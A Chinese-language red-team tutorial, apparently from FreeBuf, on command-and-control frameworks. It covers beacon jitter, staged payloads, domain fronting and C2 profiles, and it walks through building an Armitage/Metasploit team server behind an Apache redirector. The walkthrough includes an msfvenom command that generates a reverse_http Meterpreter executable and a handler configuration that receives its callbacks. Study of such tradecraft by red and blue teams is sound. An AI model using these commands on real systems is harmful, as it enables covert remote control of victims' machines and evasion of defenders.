
简而言之,netcat监听可以认为是一个C2服务器,它能够同时处理多个方向shell的回连。
Metasploit也是一个C2框架与它的payload生成器MSFVenom一起食用。
Agent是由C2框架生成的程序(木ma),C2框架实现了很多伪命令,比如上传下载等后渗透的功能。
beacon“信标”是agent回传的信息或者整个回连的过程。
混淆agent回连
C2框架里的agent都是可以高度自定义的。
睡眠定时器
防御产品在威胁狩猎时,在C2流量中尝试的一个因素是agent向服务器发送beacon的速率。
假设防火墙上观察到的流量如下:
TCP/443 会话,发送11个数据包,00:00:05.00
TCP/443 会话,发送22个数据包,00:00:10.00
TCP/443 会话,发送11个数据包,00:00:15.00
TCP/443 会话,发送11个数据包,00:00:20.00
agent每5秒发送一次beacon到C2服务器,意味着它有一个5秒的定时器。
抖动
是在定时器上面的一种改进,试图更接近“正常”行为
TCP/443 会话,发送11个数据包,00:00:05.12
TCP/443 会话,发送22个数据包,00:00:11.34
TCP/443 会话,发送11个数据包,00:00:13.51
TCP/443 会话,发送11个数据包,00:00:17.24
我们无法在不规则的时间指标中,狩猎到危险的气味。还有很多方向:比如“文件的抖动”或将垃圾数据加到payload或正在传输的文件中,使其看起来比实际更大。
可能的代码设计如下:
import random
sleep = 180
jitter = random.randint(-50,50)
sleep = sleep + jitter
payload类型
C2框架中两种主要的类型:Staged(分阶段)and Stageless(无阶段)
● 无阶段payload
agent是完整的。受害者下载并执行Dropper(滴管), 然后滴管稀里哗啦的倒腾出一堆“有害物质”,回连到服务器的“信标”就开始了。
● 分阶段payload
分阶段的payload需要回连C2服务器下载C2 agent的其他部分。这通常被描述为“滴管”,滴在受害者机器上以下载服务器暂存payload的第二阶段。
管它什么阶段,是agent,还是滴不滴。直接一把梭,把这些术语视为同一件事即可。
C2信标建立如下:
受害者下载并执行Dropper,Dropper回连C2下载第二阶段加载到内存,C2信标初始化,attacker可以与C2服务器上的“已上线”受害者“互动”了。
payload格式
windows PE文件(可执行文件)是我们最熟悉的执行代码的一种方法。
当然,还有其他格式的文件能够执行代码:
● powershell脚本(可能包含C#代码,且可以使用一些命令开关编译和执行 )
● HTA文件
● JScipt文件
● VB程序与脚本
● 微软办公文档
还有很多payload格式,可以关注洛马“七步杀”之中的“武器化”这一步的相关材料
https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
https://github.com/infosecn1nja/Red-Teaming-Toolkit#Payload%20Development
C2框架模块
CS用Aggressor脚本语言, PowerShell Empire支持多种语言,Metasploit用ruby语言
后开发模块Post Exploitation Modules:横移,哈希提取等。
旋转模块 Pivoting Modules:比如,利用smb信标使机器通过smb协议充当agent,从受限网段中回连C2服务器。
多个受害者通过SMB Pivot回连到C2服务器上:
域前置
redteam必须克服的一个重要问题是,不要将基础设施暴露在明显的视野中。最流行的方法之一称为“域前置”。
使用已知的良好主机,比如:某云主机。地理位置结果将显示云主机附件的位置,IP地址所有权也显示云厂家。
C2配置文件
这是除了域前置以外的又一种技术,由多个不同产品带来的命名,但您应该明白,它们都在说一个事情或者类似的事情。
nginx反向代理,Apache Mod_Proxy/Mod_Rewrite模块,可延展的 HTTP C2 配置文件等等。它们都允许用户控制入站 HTTP 请求中的一些特定元素。
比如:传入的连接请求具有“X-C2-Server”标头,我们可以使用上述技术提取此标头,并确保C2服务器响应C2的命令。
1.正常与异常请求通过云代理
2.C2服务器接收到两种请求,寻找C2配置文件中的特定元素,评估如何响应。
有关 C2 配置文件更多的信息:https://blog.zsec.uk/cobalt-strike-profiles/
常见的C2框架
付费的C2框架不太可能被反病毒检测到,具有更高级的开发后模块、枢轴功能,以及一些特殊的功能。(比如CS中的从信标中打开VPN隧道的功能)
● 免费C2
Metasploit 框架是最流行的免费C2框架
Armitage是msf框架的扩展,添加了图形化,与CS相似。都是同一个作者开发的。它的菜单栏中的“攻击”选项,已poc“一把梭”的方式来评估目标主机。
Powershell Empire/Starkiller 另一个受欢迎的C2
Covenant 用C#编写的C2,主要用于高度可定制agent
Sliver 基于命令行的C2框架,go语言编写,这使得逆向工程 C2“植入”非常困难。
它支持用于 C2 通信的各种协议,例如 WireGuard、mTLS、HTTP(S)、DNS 等等。 此外,它还支持用于附加功能的 BOF 文件、用于屏蔽 C2 通信的 DNS “金丝雀”域、为 HTTPS 信标自动生成 Let's Encrypt 证书等等。
● 付费C2
用 Java 编写的Cobalt Strike
Brute Ratel 提供了真正的对手模拟体验,作为“可定制的指挥和控制中心”或“C4”框架销售。
● 其他 C2 框架
C2矩阵:https://howto.thec2matrix.com/
设置C2团队服务器
下载、构建与安装 Armitage
git clone https://gitlab.com/kalilinux/packages/armitage.git && cd armitage
bash package.sh
cd ./release/unix/ && ls -la 查看文件是否存在来验证构建成功
在启动 Armitage 之前,确保 Metasploit 配置正确。 Armitage 严重依赖 Metasploit 的数据库功能,因此我们必须在启动 Armitage 之前启动并初始化数据库。
systemctl start postgresql && systemctl status postgresql
msfdb --use-defaults delete
msfdb --use-defaults init
启动团队服务器
cd /opt/armitage/release/unix && ./teamserver YourIP P@ssw0rd123
启动客户端
cd /opt/armitage/release/unix && ./armitage
团队服务器是host中填写的IP地址,user是你连接时的ID昵称,pass是共享的密码。
登录进去之后又让您输入UI界面上显示的ID昵称
这个管理接口不是面向公众的,为团队成员创建一个新的用户帐户并在服务器上启用 SSH 访问,他们将能够通过 SSH 端口转发 TCP 55553
C2操作基础
识别C是否为C2服务器,可以通过指纹来进行。比如:3.13 之前的版本中,Cobalt Strike C2 服务器能够通过 HTTP 响应末尾的额外空格 (\x20) 来识别。(有此特征值再关联一个威胁情报的辅证,一个高可信告警规则就此诞生,精准的一匹)。威胁情报不共享数据?使用C2指纹识别自己生成威胁情报。
如果您的 C2 服务器的管理界面无法公开访问,蓝队将无法得到这个404响应包加以识别。
有关CS C2指纹识别的更多信息:https://www.recordedfuture.com/cobalt-strike-servers/
访问本地侦听的远程 C2 服务器
客户端:成员
SSH 端口转发
-L localport:remotehost:remotehostport sshserver
ssh -L 4444:127.0.0.1:55553 root@192.168.0.44 (一般的C2配置)
Armitage 不支持监听环回接口(您需要将上面的127.0.0.1改成远程团队服务器的IP地址)
您在本地监听了4444端口,它将通过SSH连接与转发到C2服务器上面的55553上面。
SSH本地转发:SSH连过去的方向也恰恰是需要访问web服务器的服务的方向。远程转发其义自现。
本地转发:攻击手桌面(SSH 4444,通过访问本地的4444端口,使得此隧道用SSH并访问web服务器的55553管理口 )
侦听器类型
标准监听器:直接通过原始 TCP 或 UDP 套接字进行通信,以明文形式发送命令。
HTTP/HTTPS 监听器:以某种 Web 服务器的形式出现,并使用域前置或C2 配置文件等技术来掩盖 C2 服务器
DNS 侦听器:专用于渗透阶段的流行技术,通常需要设置额外的基础设施,或者至少必须购买和注册域名,并且必须配置公共 NS 服务器。
可以借助其他工具在 Metasploit 中设置 DNS C2 操作:https://2017.zeronights.org/wp-content/uploads/materials/ZN17_SintsovAndreyanov_MeterpreterReverseDNS.pdf
SMB 监听器:通过 SMB 命名管道进行通信是一种流行的选择方法,尤其是在处理受限网络或者什么“不出网”时;多个设备相互通信,并且只有一个设备通过更常见的协议(如 HTTP/HTTPS)回连。
高级C2设置
Metasploit 本身并不是 C2 用于高级对手对行的操作,防御产品可以快速识别这种C2流量。
C2重定向器
比如:负载均衡器形式的“重定向器”。
可以利用 Apache 及其一些模块来构建重定向器。
这些做法的真实目的是隐藏真正的C2服务器。因为当用户投诉时,C2服务器被举报是很常见的。C2服务器很快就会被关闭几小时或者一天。
当您的C2服务器被别人使用CS指纹识别(C2框架指纹识别)时,就会有人拿着比对信息进行投诉,C2服务器将会被封。
基于这种情况下,需要设置防火墙,仅允许C2与重定向器进行通信,来减轻这种风险。
重定向器如何设置?
Apache中的mod_rewrite/Rewrite模块,这些类似的模块允许我们编写规则,根据特定的 HTTP 标头或内容将请求转发到服务器上的内部或外部主机。
需要使用几个模块来配置我们的重定向器, 必须启用以下模块:
● rewrite
● proxy
● proxy_http
● headers
启用模块并启动 Apache2
apt install apache2
a2enmod rewrite && a2enmod proxy && a2enmod proxy_http && a2enmod headers && systemctl start apache2 && systemctl status apache2
使用 Meterpreter,我们可以配置 HTTP 请求的各个方面,例如 User-Agent。
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe
创建一个 Apache2 mod_rewrite 规则,用于过滤用户代理“NotMeterpreter”并将其转发到我们的 Metasploit C2 服务器。
我们必须在配置文件中添加几行以启用 Rewrite引擎(RewriteEngine On),添加重写条件,最后通过 Apache2 Proxy。
User-Agent 重写 - apache重写模块:https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
Apache2代理将请求转发到 Metasploit - apache代理模块: https://httpd.apache.org/docs/2.4/howto/reverse_proxy.html
修改默认的 Apache 配置
/etc/apache2/sites-available/000-default.conf
cat /etc/apache2/sites-available/000-default.conf | grep -v '#'
修改前
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory>
AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
修改后 【请注意加入的重写与代理部分】
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
RewriteEngine On #重写
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$" #重写
ProxyPass "/" "http://localhost:8080/" #代理
<Directory>
AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Metasploit 重定向器
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 【C2】
set LPORT 8080 【C2】
set ReverseListenerBindAddress 【C2】
set ReverseListenerBindPort 8080 【C2】
set OverrideLHOST 重定向器
set OverrideLPORT 80 重定向器
set HttpUserAgent NotMeterpreter
set OverrideRequestHost true
run
感谢师傅们很有耐心的看到了这里。
我们还会再见面的。
共勉。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)